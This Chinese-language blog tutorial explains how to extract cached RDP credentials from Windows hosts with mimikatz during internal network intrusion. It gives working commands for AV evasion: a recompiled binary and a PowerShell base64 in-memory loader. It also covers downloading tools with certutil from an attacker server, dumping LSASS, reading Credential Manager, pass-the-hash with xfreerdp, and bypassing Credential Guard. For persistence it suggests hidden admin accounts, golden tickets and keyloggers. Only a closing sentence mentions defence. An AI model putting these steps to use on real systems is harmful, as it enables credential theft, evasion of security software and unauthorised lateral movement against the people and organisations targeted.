1. 项目概述与核心价值在内部网络的安全评估或渗透测试中获取已登录用户的凭据往往是横向移动和权限提升的关键一步。远程桌面协议RDP作为管理员和用户最常用的远程管理工具之一其连接历史中缓存的凭据是一个极具价值的目标。很多朋友可能都遇到过这样的场景在获得一台内网主机的初始访问权限后发现管理员曾通过这台机器远程管理过其他服务器如果能拿到这些RDP连接的密码就能直接“接管”那些更重要的资产。这正是我们今天要深入探讨的核心实战技巧。这个项目就是围绕如何在内网环境中利用经典的渗透测试工具mimikatz系统性地提取Windows系统中缓存的RDP连接凭据。这不仅仅是运行一条命令那么简单它涉及到对Windows安全子系统、凭据存储机制的理解以及在真实、受限环境下的工具部署、执行和结果解析。网上虽然有很多零散的教程但往往只讲命令不讲背后的原理和实战中必然会遇到的坑。我将结合自己多次内网测试的经验从原理到实操从工具准备到结果利用为你梳理出一套完整、可靠、可复现的指南。无论你是安全工程师、红队成员还是对系统安全感兴趣的研究者掌握这套方法都能让你对内网凭据的“狩猎”能力提升一个档次。2. 核心原理Windows凭据缓存与mimikatz的工作机制要成功提取凭据首先得知道它们藏在哪里以及mimikatz是如何把它们“挖”出来的。这能帮助你在命令失败时快速定位问题。2.1 Windows的凭据管理器与RDP缓存当你在Windows中使用“远程桌面连接”mstsc.exe并勾选了“记住我的凭据”时系统并不会明文保存你的密码。相反它会利用Windows的凭据管理器Credential Manager来存储这些信息。凭据管理器是Windows安全体系的一部分旨在安全地存储网站、应用程序、网络资源的用户名和密码。对于RDP连接其凭据通常存储在Windows Vault中。更具体地说它们与特定的“目标”即RDP服务器的地址或名称关联。这些凭据经过加密其解密密钥与当前登录用户的Windows登录会话Logon Session紧密绑定。这意味着只有在同一用户会话下才能解密出这些凭据。这就是为什么我们通常需要在目标用户的上下文或具有该用户权限的进程中运行mimikatz。2.2 mimikatz如何提取凭据mimikatz之所以强大是因为它直接与Windows操作系统的核心安全组件交互特别是本地安全机构子系统服务LSASS。LSASS进程的内存中包含了当前登录会话的明文密码、NTLM哈希、Kerberos票据等大量敏感信息。mimikatz通过注入到高权限进程或自身以高权限运行从LSASS进程的内存中读取和解析这些数据结构。对于RDP连接凭据mimikatz主要关注两个地方LSASS进程内存如果用户通过RDP连接并选择了“记住密码”其凭据的哈希或明文副本可能会被加载到LSASS的内存空间中。Windows Vault如前所述记住的RDP凭据也存储在加密的Vault中。mimikatz可以调用Windows的Credential Manager API在拥有正确用户上下文的情况下解密并提取这些凭据。sekurlsa::credman和sekurlsa::rdp是mimikatz中专门用于处理这类凭据的模块。它们会遍历LSASS中的相关数据结构寻找与远程桌面相关的凭据信息。注意现代Windows系统如Windows 10/11, Server 2016默认启用了“受保护的进程”或“凭据保护”Credential Guard等安全机制这会使直接从LSASS内存中提取明文密码变得困难。但这并不意味着此方法完全失效它仍然可以提取NTLM哈希、PIN码或部分缓存的凭据且对于未启用这些强化措施的系统如许多内网服务器依然非常有效。3. 实战环境准备与工具部署纸上谈兵终觉浅我们直接进入实战环节。假设我们已经通过某种方式例如利用一个应用漏洞或钓鱼攻击获得了一台内网Windows主机Windows 10/11 或 Windows Server 2012 R2的初始立足点并且当前权限允许我们执行命令。3.1 初始权限评估与提升在尝试任何操作前第一步永远是看清自己的位置。检查当前用户权限打开命令行cmd或PowerShell输入whoami /priv。我们需要关注的关键权限包括SeDebugPrivilege调试程序的权限。这是mimikatz读取LSASS内存所必需的。通常管理员组成员默认拥有此权限。SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege如果当前不是管理员你可能需要利用这些权限进行提权例如使用Juicy PotatoPrintSpoofer等漏洞。判断系统类型与防御措施systeminfo | findstr /B /C:OS Name /C:OS Version了解操作系统版本。检查是否存在安全软件AV/EDR。可以尝试运行tasklist或Get-Process查看进程列表寻找熟悉的AV进程名。检查Credential Guard是否启用reg query HKLM\System\CurrentControlSet\Control\Lsa /v RunAsPPL。如果返回0x1则LSASS作为受保护进程运行增加了提取难度。如果当前不是管理员且没有调试权限你可能需要先进行本地提权。这不是本文重点但请记住没有足够的权限mimikatz的核心功能将无法使用。3.2 mimikatz的获取与免杀处理在内网环境中直接上传一个从网上下载的mimikatz可执行文件极有可能被终端安全软件瞬间查杀。本地编译最安全的方式是从GitHub获取mimikatz的源代码在本地使用Visual Studio进行编译。你可以修改一些函数名、字符串常量即“混淆”以绕过基于静态特征的检测。内存加载不将mimikatz写入磁盘。可以使用PowerShell脚本或C#加载器将mimikatz的二进制文件直接反射加载到内存中执行。例如使用Invoke-ReflectivePEInjection或自己编写一个简单的C#程序。使用替代工具或模块有时可以直接使用PowerShell版的mimikatz功能模块或者使用其他工具如SafetyKatz、SharpKatzC#实现等它们可能具有不同的特征。分离加载将mimikatz的功能拆解只上传必要的DLL文件并通过rundll32或其他方式调用。实操心得在一次测试中目标主机安装了某主流杀毒软件。直接上传mimikatz.exe立刻被删除。我转而使用一个经过简单源码修改改了版本信息字符串和几个导出函数名后重新编译的版本成功绕过静态检测。动态行为上通过先在测试机暂停AV进程需管理员权限再执行也成功了。但更优雅的方式是使用内存加载技术。这里给出一个非常简单的、用于概念验证的免杀思路实际环境需更复杂将mimikatz.exe进行base64编码。在目标机器上通过PowerShell一行命令解码并内存执行注意这仍可能触发行为检测$PEBytes [System.Convert]::FromBase64String(你的base64编码字符串) $Assembly [System.Reflection.Assembly]::Load($PEBytes) $EntryPoint $Assembly.EntryPoint $EntryPoint.Invoke($null, (, [string[]] (privilege::debug, sekurlsa::logonpasswords, exit)))3.3 上传与执行准备获得合适的mimikatz二进制文件后需要将其上传到目标机器。上传路径选择避免使用根目录或常见的Program Files目录。可以选择用户临时目录%TEMP%或者一个看起来不显眼的应用程序数据目录如C:\Windows\Tasks\有时AV监控较弱或C:\Windows\System32\spool\drivers\color\。使用cd %TEMP%切换到临时目录。上传方法根据你的初始访问方式而定。Web Shell使用文件上传功能。命令行可以使用certutil -urlcache -split -f http://你的服务器/mimikatz.exe mimikatz.exe或 PowerShell的Invoke-WebRequest。SMB/文件共享如果已建立SMB连接可以直接复制。4. 核心操作使用mimikatz提取RDP凭据假设我们已经以管理员权限或具有SeDebugPrivilege的权限在目标机器的命令行下并且mimikatz工具这里假设文件名为mimi.exe已位于当前目录。4.1 标准凭据提取流程运行mimikatz并依次执行以下命令# 启动mimikatz .\mimi.exe # 在mimikatz交互界面中首先提升权限到debug privilege::debug # 如果成功会看到“Privilege 20 OK”的输出。这是所有后续操作的基础。 # 核心命令提取所有登录会话的凭据这包含了RDP、网络登录等多种凭据 sekurlsa::logonpasswords这条sekurlsa::logonpasswords命令会输出大量信息包括Authentication Id认证标识符。Session会话类型。User Name和Domain用户名和域。Logon Server和Logon Time。SID安全标识符。msv包含NTLM哈希NT hash和LM哈希如果存在。tspkg/wdigest可能包含明文密码在旧系统或特定配置下。kerberos包含Kerberos票据相关信息。ssp/credman这里就可能包含缓存的凭据特别是来自Credential Manager的。你需要仔细在输出中寻找与远程桌面相关的条目。通常用户名可能是目标服务器的管理员账号域名可能是服务器名或域。4.2 针对性提取RDP相关凭据为了更精准地获取RDP缓存mimikatz提供了专门的模块# 在mimikatz交互界面中执行 sekurlsa::rdp这个命令会专门扫描并输出与RDP协议相关的凭据信息格式更清晰。# 另一个针对性更强的命令用于提取凭据管理器中的内容 sekurlsa::credmansekurlsa::credman会列出当前用户通过Credential Manager保存的所有凭据其中就包括那些勾选了“记住我的凭据”的RDP连接。输出会明确显示“Target: TERMSRV/服务器名或IP”以及对应的用户名和密码如果成功解密。实操现场记录在一次针对Windows Server 2019的测试中我先运行了sekurlsa::logonpasswords输出信息很多需要仔细筛选。随后运行sekurlsa::credman直接清晰地列出了三条记录[CredMan] Credential (session:0, target:TERMSRV/192.168.10.20, user:Administrator) * Password (hex) : ... * Password : MyServerAdminPass123!这比在logonpasswords的海量输出里翻找高效得多。4.3 结果解析与利用成功提取后你可能会获得以下几种形式的凭据明文密码最理想的情况可以直接用于RDP登录。NTLM哈希NT hash形如32位十六进制字符串如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0的后半部分。你可以使用“哈希传递”Pass-the-Hash, PtH攻击在不破解密码的情况下直接利用这个哈希进行身份验证。工具如xfreerdp就支持PtHxfreerdp /v:目标IP /u:Administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0Kerberos票据如果是在域环境中可能会提取到TGT票据授予票据或服务票据。你可以使用mimikatz的kerberos::ptt命令将票据注入到当前会话从而直接访问相关服务。5. 常见问题、错误排查与进阶技巧实战永远不会一帆风顺。下面是我遇到过的典型问题及解决方法。5.1 常见错误与解决方案问题/错误信息可能原因排查与解决思路ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)权限不足无法打开LSASS进程。1. 确认当前进程是否以管理员身份运行。2. 检查whoami /priv是否包含SeDebugPrivilege且已启用。3. 可能被安全软件拦截。尝试先暂停或绕过AV/EDR。运行sekurlsa::logonpasswords后无明文密码只有哈希。系统启用了WDigest禁用策略或Credential Guard。1. 检查WDigest设置reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential。值为0表示禁用。2. 对于哈希转向Pass-the-Hash攻击。明文密码并非唯一利用方式。sekurlsa::credman输出为空或没有RDP凭据。1. 用户从未保存过RDP凭据。2. 凭据存储在“Windows凭据”而非“普通凭据”中或存储为“证书”。3. 当前用户上下文不对。1. 使用cmdkey /list命令查看当前用户存储的所有普通凭据确认是否存在RDP条目。2. 尝试以其他用户身份如通过runas或进程注入运行mimikatz。mimikatz运行后系统蓝屏或崩溃。1. mimikatz版本与系统不兼容。2. 系统安装了不兼容的安全软件或驱动。3. 直接读取LSASS触发了系统保护机制。1. 尝试使用更新或更旧版本的mimikatz。2. 在测试环境如虚拟机中先验证兼容性。3. 考虑使用更温和的方式如使用Procdump将LSASS内存转储到本地再在分析机器上用mimikatz读取dump文件procdump.exe -accepteula -ma lsass.exe lsass.dmp5.2 绕过Credential Guard等高级防护对于启用了Credential GuardCG或LSA保护RunAsPPL的系统直接读取LSASS内存会失败。利用漏洞或配置错误寻找允许禁用CG的组策略设置通常需要重启或者利用驱动漏洞加载未签名的驱动来绕过保护如mimidrv项目但需要管理员权限并能够加载驱动。转向其他攻击面如果无法从LSASS提取可以尝试DCSync攻击如果你已经获得了域管理员权限可以直接让域控制器向你同步指定用户的密码哈希无需触碰目标主机的LSASS。Kerberoasting请求服务票据并离线破解。查找明文配置文件搜索用户目录、安装目录下是否有包含密码的*.config,*.xml,*.txt,*.vnc,.rdp文件等。键盘记录部署键盘记录器等待用户再次输入RDP密码。使用更底层的工具如使用带有特殊驱动的mimikatz版本mimikatzmimidrv.sys但这对环境要求苛刻且动静很大。5.3 权限维持与横向移动提取到凭据后你的工作才刚刚开始。密码复用测试很多人会在多台机器使用相同或相似的密码。用得到的密码/哈希尝试登录内网其他常见服务器如文件服务器、数据库服务器、其他域控等。构建跳板使用获取的凭据通过RDP或PsExec等方式登录到下一台主机。在那台主机上重复本指南的流程可能发现新的RDP连接缓存从而像“滚雪球”一样在内网中横向移动。创建后门账户在已控制的主机上添加一个隐藏的管理员账户或“金票”Golden Ticket域环境中以便长期持久化访问。信息收集不要只盯着密码。在成功RDP登录的机器上查看文档、浏览器历史、邮件客户端、共享文件夹往往能发现更多有价值的信息和通往更核心区域的路径。我个人在实际操作中的体会是内网渗透就像一场信息拼图游戏。RDP凭据提取是其中一块关键拼图但它很少孤立存在。成功的渗透测试员需要将凭据提取、漏洞利用、信息收集、横向移动和权限维持等技术流畅地结合起来并时刻保持对防御方AV/EDR、日志、网络设备的警惕。每一次执行sekurlsa::credman并成功看到密码的那一刻都意味着攻击链的又一次成功延伸同时也提醒着我们作为防御方必须严格限制凭据的缓存、强制使用强认证方式如双因素认证并积极监控异常的身份验证事件。安全是一场永不停歇的攻防博弈而理解攻击者的每一招每一式正是我们构筑更坚固防线的基础。